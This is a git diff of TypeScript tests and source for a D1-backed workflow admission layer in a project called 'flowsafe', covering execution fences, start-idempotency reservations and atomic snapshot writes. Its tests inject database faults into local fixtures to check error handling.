+    expect(second.rows()).toEqual([]);
+    expect(first.domain[FENCED_WORKFLOW_STORAGE]?.database).toBe(second.db);
+    expect(await saved.readSnapshot(first.input.execution)).toEqual(
+      result.witness.row,
+    );
+  });
+  it('rejects incoherent initial admission participants before I/O', async () => {
+    const cases: Array<{
+      name: string;
+      change: (input: InitialRunAdmission) => InitialRunAdmission;
+      code: string;
+    }> = [
+      {
+        name: 'owner',
+        change: (i) => ({
+          ...i,
+          reservation: {
+            ...claim(i),
+            owner: { kind: 'human', id: 'Bob' },
+            targetId: 'wf-b',
+          },
+        }),
+        code: 'IDEMPOTENT_START_OWNER_MISMATCH',
+      },
+      {
+        name: 'target',
+        change: (i) => ({
+          ...i,
+          reservation: { ...claim(i), targetId: 'wf-b' },
+        }),
+        code: 'IDEMPOTENT_START_TARGET_MISMATCH',
+      },
+      {
+        name: 'run',
+        change: (i) => ({
+          ...i,
+          reservation: { ...claim(i), runId: 'other-run' },
+        }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'no identity',
+        change: (i) => ({ ...i, startIdentity: undefined }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'no store',
+        change: (i) => ({ ...i, reservationStore: undefined }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'no claim',
+        change: (i) => ({ ...i, reservation: undefined }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'reserved',
+        change: (i) => ({
+          ...i,
+          reservation: { ...claim(i), state: 'reserved' },
+        }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'legacy',
+        change: (i) => ({
+          ...i,
+          reservation: { ...claim(i), binding: { kind: 'legacy' } },
+        }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'bound',
+        change: (i) => ({
+          ...i,
+          reservation: {
+            ...claim(i),
+            binding: { kind: 'bound', execution: i.execution },
+          },
+        }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'proof key',
+        change: (i) => ({
+          ...i,
+          proof: { key: 'other', mutationEpoch: 0, transitionRevision: 0 },
+        }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'owner correlation',
+        change: (i) => ({
+          ...i,
+          runOwnerGuard: { owner: OWNER, reservationToken: 'other' },
+        }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'workflow thread',
+        change: (i) => ({
+          ...i,
+          reservation: { ...claim(i), threadId: 'unexpected' },
+        }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+      {
+        name: 'invalid timestamp',
+        change: (i) => ({
+          ...i,
+          reservation: { ...claim(i), createdAt: Number.NaN },
+        }),
+        code: 'INVALID_EXECUTION_IDENTITY',
+      },
+    ];
+    for (const { name, change, code } of cases) {
+      const h = await fixture({ keyed: true });
+      if (name === 'owner')
+        h.sql.exec(
+          "UPDATE flowsafe_start_idempotency SET owner_id = 'Bob', target_id = 'wf-b'",
+        );
+      if (name === 'target')
+        h.sql.exec("UPDATE flowsafe_start_idempotency SET target_id = 'wf-b'");
+      const prepare = vi.spyOn(h.db, 'prepare');
+      const batch = vi.spyOn(h.db, 'batch');
+      const create = vi.fn(() => h.workflow.createRun({ runId: 'run' }));
+      const error = await h.capability
+        .withInitialAdmission(change(h.input), create)
+        .catch((error: unknown) => error);
+      expect(error, name).toMatchObject({ reason: { code } });
+      expect(prepare, name).not.toHaveBeenCalled();
+      expect(batch, name).not.toHaveBeenCalled();
+      expect(create, name).not.toHaveBeenCalled();
+      expect(h.onInitialWriteAttempt, name).not.toHaveBeenCalled();
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+        name,
+      ).toBe(false);
+    }
+  });
+
+  it.each([
+    undefined,
+    0,
+    2,
+  ])('refuses original active epoch %s at the atomic boundary', async (mutationEpoch) => {
+    const h = await fixture({ keyed: true });
+    await h.fence.transition({
+      expected: 'open',
+      next: 'open',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+      advanceMutationEpoch: true,
+    });
+    const input = {
+      ...h.input,
+      mutationEpoch,
+      requestContext: {
+        ...h.input.requestContext,
+        [PROVENANCE]: {
+          ...(h.input.requestContext[PROVENANCE] as object),
+          mutationEpoch,
+        },
+      },
+    };
+    const error = await h.admit(input).catch((error: unknown) => error);
+    expect(error).toMatchObject({
+      status: 409,
+      reason: {
+        code: 'MUTATION_EPOCH_MISMATCH',
+        classification:
+          mutationEpoch === undefined
+            ? 'missing'
+            : mutationEpoch === 0
+              ? 'stale'
+              : 'future',
+      },
+    });
+    expect(h.rows()).toEqual([]);
+    expect(isDefinitiveInitialAdmissionRefusal(error, input.execution)).toBe(
+      true,
+    );
+  });
+
+  it('distinguishes late same-state open revisions and transient races without fencing open', async () => {
+    for (const classification of ['fence-changed', 'admission-raced']) {
+      const h = await fixture();
+      const batch = h.db.batch.bind(h.db);
+      vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => {
+        if (classification === 'fence-changed')
+          await h.fence.transition({ expected: 'open', next: 'open' });
+        else
+          h.sql.exec("UPDATE flowsafe_execution_fence SET state = 'draining'");
+        const result = await batch(statements);
+        if (classification === 'admission-raced')
+          h.sql.exec("UPDATE flowsafe_execution_fence SET state = 'open'");
+        return result;
+      });
+      const error = await h.admit().catch((error: unknown) => error);
+      expect(error).toMatchObject({
+        status: 409,
+        reason: { code: 'RUN_ADMISSION_CONFLICT', classification },
+      });
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+      ).toBe(true);
+      expect(h.rows()).toEqual([]);
+    }
+  });
+
+  it('makes zero initial insertion leave proof and winning reservation unchanged for a same-byte occupied row', async () => {
+    const h = await fixture({ keyed: true, state: 'proof-only' });
+    const prepare = h.db.prepare.bind(h.db);
+    let initial: unknown[] = [];
+    vi.spyOn(h.db, 'prepare').mockImplementation((query) => {
+      const statement = prepare(query);
+      const bind = statement.bind.bind(statement);
+      statement.bind = (...values) => {
+        if (query.startsWith('INSERT INTO "mastra_workflow_snapshot"'))
+          initial = values;
+        return bind(...values);
+      };
+      return statement;
+    });
+    const batch = h.db.batch.bind(h.db);
+    vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => {
+      h.sql
+        .prepare(
+          'INSERT INTO mastra_workflow_snapshot VALUES (?, ?, ?, ?, ?, ?)',
+        )
+        .run(...initial.slice(0, 6));
+      return batch(statements);
+    });
+    const error = await h.admit().catch((error: unknown) => error);
+    expect(error).toMatchObject({
+      reason: { code: 'RUN_ADMISSION_CONFLICT', classification: 'run-exists' },
+    });
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      true,
+    );
+    expect(
+      (await h.input.reservationStore?.readForAdmission('key'))?.binding.kind,
+    ).toBe('unbound');
+    expect((await h.fence.read()).proofRunId).toBeUndefined();
+    expect(h.rows()).toHaveLength(1);
+    expect(h.effects()).toBe(0);
+  });
+
+  it('preserves all-zero evidence when required readback becomes corrupt or disappears', async () => {
+    for (const change of [
+      "UPDATE flowsafe_start_idempotency SET thread_id = 'unexpected'",
+      'DROP TABLE mastra_workflow_snapshot',
+      'DROP TABLE flowsafe_start_idempotency',
+    ]) {
+      const h = await fixture({ keyed: true, state: 'draining' });
+      const batch = h.db.batch.bind(h.db);
+      vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => {
+        const result = await batch(statements);
+        h.sql.exec(change);
+        return result;
+      });
+      const error = await h.admit().catch((error: unknown) => error);
+      expect(error).toMatchObject({
+        status: 503,
+        reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+      });
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+      ).toBe(true);
+    }
+  });
+
+  it.each([
+    false,
+    true,
+  ])('converges only exact initial response-loss evidence (keyed=%s)', async (keyed) => {
+    const h = await fixture({ keyed, state: 'proof-only' });
+    const batch = h.db.batch.bind(h.db);
+    const calls = vi
+      .spyOn(h.db, 'batch')
+      .mockImplementationOnce(async (statements) => {
+        await batch(statements);
+        throw new Error('response lost');
+      });
+    expect((await h.admit()).witness.execution).toEqual(h.input.execution);
+    expect(calls).toHaveBeenCalledTimes(2);
+    expect(h.rows()).toHaveLength(1);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    'workflow_name',
+    'run_id',
+    'resourceId',
+    'snapshot',
+    'createdAt',
+    'updatedAt',
+    'reservation',
+    'proof',
+  ])('does not converge response loss after %s evidence changes', async (field) => {
+    const h = await fixture({ keyed: true, state: 'proof-only' });
+    const lost = new Error('original lost response');
+    const batch = h.db.batch.bind(h.db);
+    const calls = vi
+      .spyOn(h.db, 'batch')
+      .mockImplementationOnce(async (statements) => {
+        await batch(statements);
+        if (field === 'reservation')
+          h.sql.exec('DELETE FROM flowsafe_start_idempotency');
+        else if (field === 'proof')
+          h.sql.exec(
+            'UPDATE flowsafe_execution_fence SET proof_run_id = NULL, proof_table_prefix = NULL, proof_workflow_id = NULL, proof_start_token = NULL',
+          );
+        else
+          h.sql
+            .prepare(`UPDATE mastra_workflow_snapshot SET "${field}" = ?`)
+            .run(
+              field === 'snapshot'
+                ? `${(h.rows()[0] as { snapshot: string }).snapshot} `
+                : 'changed',
+            );
+        throw lost;
+      });
+    const error = await h.admit().catch((error: unknown) => error);
+    expect(error).toMatchObject({ status: 503, cause: lost });
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+    expect(calls).toHaveBeenCalledTimes(2);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    'sparse',
+    'failed',
+    'count',
+    'missing-row',
+    'wrong-row',
+  ])('never repairs malformed returned %s envelopes through readback', async (mode) => {
+    const h = await fixture();
+    const batch = h.db.batch.bind(h.db);
+    const calls = vi
+      .spyOn(h.db, 'batch')
+      .mockImplementationOnce(async (statements) => {
+        const result = (await batch(statements)) as Array<{
+          success: boolean;
+          results: Array<Record<string, unknown>>;
+          meta: { changes: number };
+        }>;
+        if (mode === 'sparse') return new Array(2);
+        const initial = result[0];
+        if (!initial) throw new Error('missing actual initial result');
+        if (mode === 'failed') initial.success = false;
+        if (mode === 'count') initial.meta.changes = 0;
+        if (mode === 'missing-row') initial.results = [];
+        if (mode === 'wrong-row')
+          initial.results[0] = { ...initial.results[0], snapshot: '{}' };
+        return result;
+      });
+    const error = await h.admit().catch((error: unknown) => error);
+    expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+    expect(calls).toHaveBeenCalledTimes(1);
+    expect(h.rows()).toHaveLength(1);
+  });
+  it.each([
+    false,
+    true,
+  ])('chains snapshot reservation and proof RETURNING outcomes atomically (keyed=%s)', async (keyed) => {
+    for (const state of ['open', 'proof-only'] as const) {
+      const h = await fixture({ keyed, state, prefix: 'Tenant_' });
+      const { witness, value } = await h.admit();
+      expect(witness.execution).toEqual(h.input.execution);
+      expect(h.effects()).toBe(0);
+      expect(h.onInitialWriteAttempt).toHaveBeenCalledTimes(1);
+      expect(
+        JSON.parse(witness.row.snapshot).requestContext[PROVENANCE]
+          .initialAdmission,
+      ).toBe(true);
+      expect((await h.fence.read()).proofExecution).toEqual(
+        state === 'proof-only' ? h.input.execution : undefined,
+      );
+      if (keyed)
+        expect(
+          (await h.input.reservationStore?.readForAdmission('key'))?.binding,
+        ).toEqual({ kind: 'bound', execution: h.input.execution });
+      else
+        expect(
+          h.sql
+            .prepare(
+              "SELECT name FROM sqlite_master WHERE name = 'flowsafe_start_idempotency'",
+            )
+            .all(),
+        ).toEqual([]);
+      await value.start({
+        inputData: {},
+        requestContext: new RequestContext(
+          Object.entries(h.input.requestContext),
+        ),
+      });
+      expect(h.effects()).toBe(1);
+      const stored = await h.capability.readSnapshot(h.input.execution);
+      expect(
+        JSON.parse(stored?.snapshot ?? '').requestContext[PROVENANCE]
+          .initialAdmission,
+      ).toBeUndefined();
+    }
+  });
+
+  it('serializes the exact pinned initial six-field record', async () => {
+    const h = await fixture();
+    vi.spyOn(Date, 'now').mockReturnValue(1234567890123);
+    const { witness } = await direct(h, {
+      createdAt: new Date('2020-01-02T03:04:05.000Z'),
+      resourceId: undefined,
+    });
+    expect(witness.row.createdAt).toBe('2020-01-02T03:04:05.000Z');
+    expect(witness.row.updatedAt).toBe('2009-02-13T23:31:30.123Z');
+    expect(witness.row.resourceId).toBeNull();
+    expect(
+      h.sql
+        .prepare(
+          'SELECT typeof(createdAt) AS created, typeof(updatedAt) AS updated FROM mastra_workflow_snapshot',
+        )
+        .get(),
+    ).toEqual({ created: 'text', updated: 'text' });
+    expect(Object.keys(h.rows()[0] as object)).toEqual([
+      'workflow_name',
+      'run_id',
+      'resourceId',
+      'snapshot',
+      'createdAt',
+      'updatedAt',
+    ]);
+    expect(JSON.parse(witness.row.snapshot).requestContext.app).toEqual({
+      text: 'λ',
+      nullable: null,
+    });
+  });
+
+  it('stamps trusted context after pruning and refuses serialization authority changes', async () => {
+    const h = await fixture({
+      prune: ({ snapshot }) => ({
+        ...snapshot,
+        requestContext: { [PROVENANCE]: { version: 99 } },
+      }),
+    });
+    expect(
+      JSON.parse((await h.admit()).witness.row.snapshot).requestContext[
+        PROVENANCE
+      ].version,
+    ).toBe(2);
+    for (const mutate of ['generation', 'runId', 'workflowScope', 'active']) {
+      const candidate = await fixture();
+      const snapshot = {
+        ...pending(),
+        toJSON() {
+          const requestContext = {
+            ...structuredClone(candidate.input.requestContext),
+          };
+          if (mutate === 'generation')
+            (requestContext[PROVENANCE] as { startToken: string }).startToken =
+              'foreign';
+          if (mutate === 'runId') requestContext.runId = 'foreign';
+          if (mutate === 'workflowScope')
+            requestContext['breakwater.workflowScope'] = 'foreign';
+          return {
+            ...pending(),
+            requestContext,
+            ...(mutate === 'active' ? { activePaths: [0] } : {}),
+          };
+        },
+      };
+      const batch = vi.spyOn(candidate.db, 'batch');
+      const error = await direct(candidate, { snapshot }).catch(
+        (error: unknown) => error,
+      );
+      expect(error).toBeInstanceOf(InvalidExecutionIdentityError);
+      expect(batch).not.toHaveBeenCalled();
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, candidate.input.execution),
+      ).toBe(false);
+    }
+  });
+
+  it.each([
+    'draining',
+    'migration-locked',
+    'proof-only',
+  ] as const)('refuses %s without any snapshot or participant changes', async (state) => {
+    const h = await fixture({ keyed: true, state });
+    const before = h.sql
+      .prepare('SELECT * FROM flowsafe_execution_fence')
+      .get();
+    const error = await h
+      .admit({ ...h.input, proof: undefined })
+      .catch((error: unknown) => error);
+    expect(error).toMatchObject({
+      status: 503,
+      reason: { code: 'EXECUTION_FENCED', state },
+    });
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      true,
+    );
+    expect(h.rows()).toEqual([]);
+    expect(
+      (await h.input.reservationStore?.readForAdmission('key'))?.binding.kind,
+    ).toBe('unbound');
+    expect(
+      h.sql.prepare('SELECT * FROM flowsafe_execution_fence').get(),
+    ).toEqual(before);
+    expect(h.effects()).toBe(0);
+  });
+
+  it('requires a positive witness from the matching Core initial write', async () => {
+    const h = await fixture({ persist: false });
+    const error = await h.admit().catch((error: unknown) => error);
+    expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+    expect(h.onInitialWriteAttempt).not.toHaveBeenCalled();
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+    expect(h.effects()).toBe(0);
+    const cached = await fixture();
+    await cached.admit();
+    await expect(cached.admit()).rejects.toThrow('no persistence witness');
+  });
+
+  it('latches repeated mismatched and nested writes even when swallowed', async () => {
+    for (const kind of ['repeat', 'mismatch', 'nested']) {
+      const h = await fixture();
+      const error = await h.capability
+        .withInitialAdmission(h.input, async () => {
+          await h.domain.persistWorkflowSnapshot({
+            workflowName: 'workflow',
+            runId: 'run',
+            snapshot: pending(),
+          });
+          try {
+            if (kind === 'nested')
+              await h.capability.withInitialAdmission(
+                h.input,
+                async () => undefined,
+              );
+            else
+              await h.domain.persistWorkflowSnapshot({
+                workflowName: kind === 'repeat' ? 'workflow' : 'foreign',
+                runId: 'run',
+                snapshot: pending(),
+              });
+          } catch {
+            /* Deliberately swallowed to exercise the scope latch. */
+          }
+        })
+        .catch((error: unknown) => error);
+      expect(error).toBeInstanceOf(InvalidExecutionIdentityError);
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+      ).toBe(false);
+      expect(h.rows()).toHaveLength(1);
+    }
+  });
+
+  it('captures callbacks as plain functions without consulting their call properties', async () => {
+    const h = await fixture();
+    let receiver: unknown = 'uninvoked';
+    const hook = Object.assign(
+      function (this: unknown) {
+        receiver = this;
+      },
+      {
+        call: () => {
+          throw new Error('shadowed call');
+        },
+      },
+    );
+    const create = Object.assign(() => h.workflow.createRun({ runId: 'run' }), {
+      call: () => {
+        throw new Error('shadowed call');
+      },
+    });
+    await h.capability.withInitialAdmission(
+      { ...h.input, onInitialWriteAttempt: hook },
+      create,
+    );
+    expect(receiver).toBeUndefined();
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts
new file mode 100644
index 00000000..0e209b1b
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts
@@ -0,0 +1,1274 @@
+// SPDX-License-Identifier: Apache-2.0
+/// <reference types="node" />
+
+import { AsyncLocalStorage } from 'node:async_hooks';
+import { type D1DomainConfig, WorkflowsStorageD1 } from '@mastra/cloudflare-d1';
+import { EXECUTION_FENCE_TABLE } from '#deployment-identity-protocol';
+import {
+  isExecutionPrincipalId,
+  isExecutionPrincipalKind,
+} from '../approval-api/principal-identity.js';
+import { DoStatusError } from './do-status-error.js';
+import {
+  assertMutationEpoch,
+  type D1RunExecutionIdentity,
+  ExecutionFenceUnreadableError,
+  InvalidExecutionIdentityError,
+  normalizeD1RunExecutionIdentity,
+  normalizeMutationEpoch,
+  normalizeStartIdentity,
+  type ProofEntryExpectation,
+  RunAdmissionConflictError,
+} from './execution-admission.js';
+import {
+  admitsRunStart,
+  captureExecutionFenceAdmissionSchema,
+  decodeExecutionFenceAdmissionRow,
+  type ExecutionFenceAdmissionObservation,
+  ExecutionFencedError,
+  executionFenceAdmissionSql,
+  executionFenceAdmissionValues,
+  validateExecutionFenceAdmissionSchema,
+} from './execution-fence.js';
+import {
+  FENCED_WORKFLOW_STORAGE,
+  type FencedWorkflowAdmissionCapability,
+  type InitialAdmissionDatabase,
+  type InitialAdmissionWitness,
+  type InitialRunAdmission,
+  type InitialTerminalizationRequest,
+  type InitialTerminalizationResult,
+} from './fenced-workflow-capability.js';
+import { definitiveInitialAdmissionRefusal } from './initial-admission-refusal.js';
+import { isPathSafeId } from './path-safe-id.js';
+import {
+  hasDisputedSettlement,
+  parseRunLifecycle,
+  projectTerminalLifecycle,
+  RUN_LIFECYCLE_CONTEXT_KEY,
+  RunLifecycleBlockedError,
+  terminalCleanupFor,
+} from './run-lifecycle.js';
+import {
+  decodeInitialRunProvenance,
+  decodeProgressRunProvenance,
+  type ProgressRunProvenance,
+} from './run-provenance.js';
+import { RESOURCE_OWNER_TABLE } from './run-storage-tables.js';
+import {
+  isRunStatus,
+  terminalStateFields,
+  terminalStateUpdate,
+} from './run-terminal-state.js';
+import {
+  decodeStartReservationAdmissionResult,
+  START_IDEMPOTENCY_TABLE,
+  StartReservationOwnerMismatchError,
+  type StartReservationReading,
+  StartReservationTargetMismatchError,
+  validateStartReservationAdmissionSchema,
+} from './start-idempotency.js';
+import {
+  captureReservation,
+  sameReservationIdentity,
+} from './start-reservation-contract.js';
+import { validateTablePrefix } from './table-prefix.js';
+import {
+  decodeRawWorkflowSnapshotResult,
+  prepareRawWorkflowSnapshotRead,
+  type RawWorkflowSnapshot,
+  readRawWorkflowSnapshot,
+  type SnapshotStatement,
+  snapshotResultRows,
+} from './workflow-snapshot-row.js';
+
+const PROVENANCE = 'flowsafe.runProvenance';
+type PersistInput = Parameters<
+  WorkflowsStorageD1['persistWorkflowSnapshot']
+>[0];
+interface AdmissionScope {
+  readonly input: InitialRunAdmission;
+  open: boolean;
+  attempted: boolean;
+  witness?: InitialAdmissionWitness;
+  failure?: unknown;
+  failed: boolean;
+}
+
+/** @internal Match the pinned standalone resolver's property-presence precedence. */
+export function captureD1DomainConfig(config: D1DomainConfig): D1DomainConfig {
+  if ('client' in config) {
+    const client = config.client;
+    const tablePrefix = validateTablePrefix(config.tablePrefix);
+    return { client, tablePrefix };
+  }
+  if ('binding' in config) {
+    const binding = config.binding;
+    const tablePrefix = validateTablePrefix(config.tablePrefix);
+    return { binding, tablePrefix };
+  }
+  const { accountId, apiToken, databaseId, tablePrefix } = config;
+  return {
+    accountId,
+    apiToken,
+    databaseId,
+    tablePrefix: validateTablePrefix(tablePrefix),
+  };
+}
+
+function admissionDatabase(value: unknown): value is InitialAdmissionDatabase {
+  return (
+    value !== null &&
+    typeof value === 'object' &&
+    'prepare' in value &&
+    typeof value.prepare === 'function' &&
+    'batch' in value &&
+    typeof value.batch === 'function'
+  );
+}
+
+function record(value: unknown): Record<string, unknown> {
+  if (value === null || typeof value !== 'object' || Array.isArray(value))
+    throw new InvalidExecutionIdentityError('admission');
+  return value as Record<string, unknown>;
+}
+
+function assertInitialSnapshot(value: unknown, runId: string): void {
+  const snapshot = record(value);
+  if (
+    snapshot.status !== 'pending' ||
+    snapshot.runId !== runId ||
+    !Array.isArray(snapshot.activePaths) ||
+    snapshot.activePaths.length !== 0
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  for (const field of [
+    'activeStepsPath',
+    'suspendedPaths',
+    'waitingPaths',
+    'resumeLabels',
+  ]) {
+    if (Object.keys(record(snapshot[field])).length !== 0)
+      throw new InvalidExecutionIdentityError('admission');
+  }
+}
+
+function captureInitialProvenance(value: unknown) {
+  const {
+    version,
+    startToken,
+    attemptToken,
+    requestedBy,
+    requestedByKind,
+    resumeCounts,
+    mutationEpoch,
+    startIdentity: rawIdentity,
+    agentStart: rawAgent,
+    initialAdmission,
+  } = record(value);
+  if (!Array.isArray(resumeCounts) || resumeCounts.length !== 0)
+    throw new InvalidExecutionIdentityError('admission');
+  const startIdentity =
+    rawIdentity === undefined ? undefined : normalizeStartIdentity(rawIdentity);
+  const agentStart =
+    rawAgent === undefined
+      ? undefined
+      : { threaded: record(rawAgent).threaded };
+  // Caller accessors run before the stored-data decoder's error translation.
+  const captured = {
+    version,
+    startToken,
+    attemptToken,
+    requestedBy,
+    requestedByKind,
+    resumeCounts: [],
+    mutationEpoch,
+    startIdentity,
+    agentStart,
+    initialAdmission,
+  };
+  try {
+    return decodeInitialRunProvenance(captured, 'absent');
+  } catch {
+    throw new InvalidExecutionIdentityError('admission');
+  }
+}
+
+function captureAdmission(source: InitialRunAdmission): InitialRunAdmission {
+  record(source);
+  const {
+    execution: rawExecution,
+    attemptToken,
+    mutationEpoch: rawEpoch,
+    startIdentity: rawIdentity,
+    requestContext,
+    fence,
+    reservationStore,
+    reservation: rawReservation,
+    proof: rawProof,
+    runOwnerGuard: rawGuard,
+    onInitialWriteAttempt,
+  } = source;
+  record(requestContext);
+  const fenceMethods = record(fence);
+  if (
+    !['usesDatabase', 'seed', 'readForAdmission'].every(
+      (method) => typeof fenceMethods[method] === 'function',
+    )
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  if (reservationStore !== undefined) {
+    const methods = record(reservationStore);
+    if (
+      !['usesDatabase', 'readForAdmission'].every(
+        (method) => typeof methods[method] === 'function',
+      )
+    )
+      throw new InvalidExecutionIdentityError('admission');
+  }
+  if (rawProof !== undefined) record(rawProof);
+  if (rawGuard !== undefined) record(rawGuard);
+  const execution = normalizeD1RunExecutionIdentity(rawExecution);
+  const mutationEpoch = normalizeMutationEpoch(rawEpoch);
+  const startIdentity =
+    rawIdentity === undefined ? undefined : normalizeStartIdentity(rawIdentity);
+  if (
+    !isPathSafeId(attemptToken) ||
+    typeof onInitialWriteAttempt !== 'function' ||
+    (reservationStore === undefined) !== (rawReservation === undefined)
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  const reservation =
+    rawReservation === undefined
+      ? undefined
+      : captureReservation(rawReservation, 'started');
+  if (reservation) {
+    if (!startIdentity) throw new InvalidExecutionIdentityError('admission');
+    if (
+      reservation.owner.kind !== startIdentity.owner.kind ||
+      reservation.owner.id !== startIdentity.owner.id
+    )
+      throw new StartReservationOwnerMismatchError(reservation.key);
+    if (
+      reservation.targetKind !== startIdentity.target.kind ||
+      reservation.targetId !== startIdentity.target.id
+    )
+      throw new StartReservationTargetMismatchError(
+        reservation.key,
+        reservation,
+      );
+    if (
+      reservation.runId !== execution.runId ||
+      reservation.threadId !==
+        (startIdentity.target.kind === 'agent'
+          ? startIdentity.target.threadId
+          : undefined)
+    )
+      throw new InvalidExecutionIdentityError('admission');
+  }
+  if (
+    startIdentity?.target.kind === 'workflow' &&
+    startIdentity.target.id !== execution.workflowId
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  let proof: ProofEntryExpectation | undefined;
+  if (rawProof !== undefined) {
+    const {
+      key,
+      mutationEpoch: suppliedEpoch,
+      transitionRevision: suppliedRevision,
+    } = rawProof;
+    const proofEpoch = normalizeMutationEpoch(suppliedEpoch);
+    const transitionRevision = normalizeMutationEpoch(suppliedRevision);
+    if (
+      !isPathSafeId(key) ||
+      proofEpoch === undefined ||
+      transitionRevision === undefined ||
+      (reservation && key !== reservation.key)
+    )
+      throw new InvalidExecutionIdentityError('admission');
+    proof = Object.freeze({
+      key,
+      mutationEpoch: proofEpoch,
+      transitionRevision,
+    });
+  }
+  const runOwnerGuard =
+    rawGuard === undefined
+      ? undefined
+      : Object.freeze({
+          owner: normalizeStartIdentity({
+            owner: rawGuard.owner,
+            target: { kind: 'workflow', id: execution.workflowId },
+          }).owner,
+          reservationToken: rawGuard.reservationToken,
+        });
+  if (runOwnerGuard && runOwnerGuard.reservationToken !== attemptToken)
+    throw new InvalidExecutionIdentityError('admission');
+  const { [PROVENANCE]: rawProvenance, ...application } = requestContext;
+  const provenance = captureInitialProvenance(rawProvenance);
+  if (
+    provenance.startToken !== execution.startToken ||
+    provenance.attemptToken !== attemptToken ||
+    provenance.mutationEpoch !== mutationEpoch ||
+    JSON.stringify(provenance.startIdentity) !== JSON.stringify(startIdentity)
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  const contextRunId = application.runId;
+  const contextWorkflow = application['breakwater.workflowScope'];
+  if (
+    (contextRunId !== undefined && contextRunId !== execution.runId) ||
+    (contextWorkflow !== undefined && contextWorkflow !== execution.workflowId)
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  const context = record(JSON.parse(JSON.stringify(application)));
+  if (
+    context.runId !== contextRunId ||
+    context['breakwater.workflowScope'] !== contextWorkflow
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  return Object.freeze({
+    execution,
+    attemptToken,
+    mutationEpoch,
+    startIdentity,
+    requestContext: Object.freeze({ ...context, [PROVENANCE]: provenance }),
+    fence,
+    reservationStore,
+    reservation,
+    proof,
+    runOwnerGuard,
+    onInitialWriteAttempt,
+  });
+}
+
+function sameReservation(
+  actual: StartReservationReading | undefined,
+  expected: StartReservationReading,
+  execution?: D1RunExecutionIdentity,
+): boolean {
+  return (
+    actual !== undefined &&
+    sameReservationIdentity(actual, expected) &&
+    actual.state === expected.state &&
+    actual.updatedAt === expected.updatedAt &&
+    (execution === undefined
+      ? actual.binding.kind === expected.binding.kind
+      : actual.binding.kind === 'bound' &&
+        sameFields({ ...actual.binding.execution }, { ...execution }))
+  );
+}
+
+function sameFields(
+  actual: Record<string, unknown>,
+  expected: Record<string, unknown>,
+): boolean {
+  return Object.keys(expected).every(
+    (key) => Object.hasOwn(actual, key) && actual[key] === expected[key],
+  );
+}
+
+function reservationPredicate(
+  reservation: StartReservationReading,
+  bind: (value: unknown) => string,
+  qualifier = '',
+  runReference?: string,
+): string {
+  return `${qualifier}key = ${bind(reservation.key)} AND ${qualifier}run_id = ${runReference ?? bind(reservation.runId)}
+    AND ${qualifier}owner_kind = ${bind(reservation.owner.kind)} AND ${qualifier}owner_id = ${bind(reservation.owner.id)}
+    AND ${qualifier}target_kind = ${bind(reservation.targetKind)} AND ${qualifier}target_id = ${bind(reservation.targetId)} AND ${qualifier}thread_id IS ${bind(reservation.threadId ?? null)}
+    AND ${qualifier}created_at = ${bind(reservation.createdAt)} AND ${qualifier}updated_at = ${bind(reservation.updatedAt)} AND ${qualifier}state = 'started'
+    AND ${qualifier}start_token = '' AND ${qualifier}start_table_prefix IS NULL AND ${qualifier}start_workflow_id IS NULL`;
+}
+
+function captureBatchResults(value: unknown, length: number) {
+  if (!Array.isArray(value) || value.length !== length)
+    throw new Error('initial batch cardinality is invalid');
+  return Array.from({ length }, (_, index) => {
+    if (!Object.hasOwn(value, index))
+      throw new Error('initial batch is missing a result');
+    return captureStatementResult(value[index]);
+  });
+}
+
+function captureStatementResult(result: unknown) {
+  const results = snapshotResultRows(result).map((row) =>
+    Object.freeze(
+      Object.fromEntries(
+        Object.getOwnPropertyNames(row).map((key) => [key, row[key]]),
+      ),
+    ),
+  );
+  const meta = record(result).meta;
+  const hasChanges = meta !== undefined && 'changes' in record(meta);
+  return {
+    results,
+    ...(hasChanges ? { meta: { changes: record(meta).changes } } : {}),
+  };
+}
+
+function terminalizationUnreadable(
+  cause: unknown,
+): ExecutionFenceUnreadableError {
+  return new ExecutionFenceUnreadableError(
+    'initial admission cannot be terminalized',
+    { cause },
+  );
+}
+
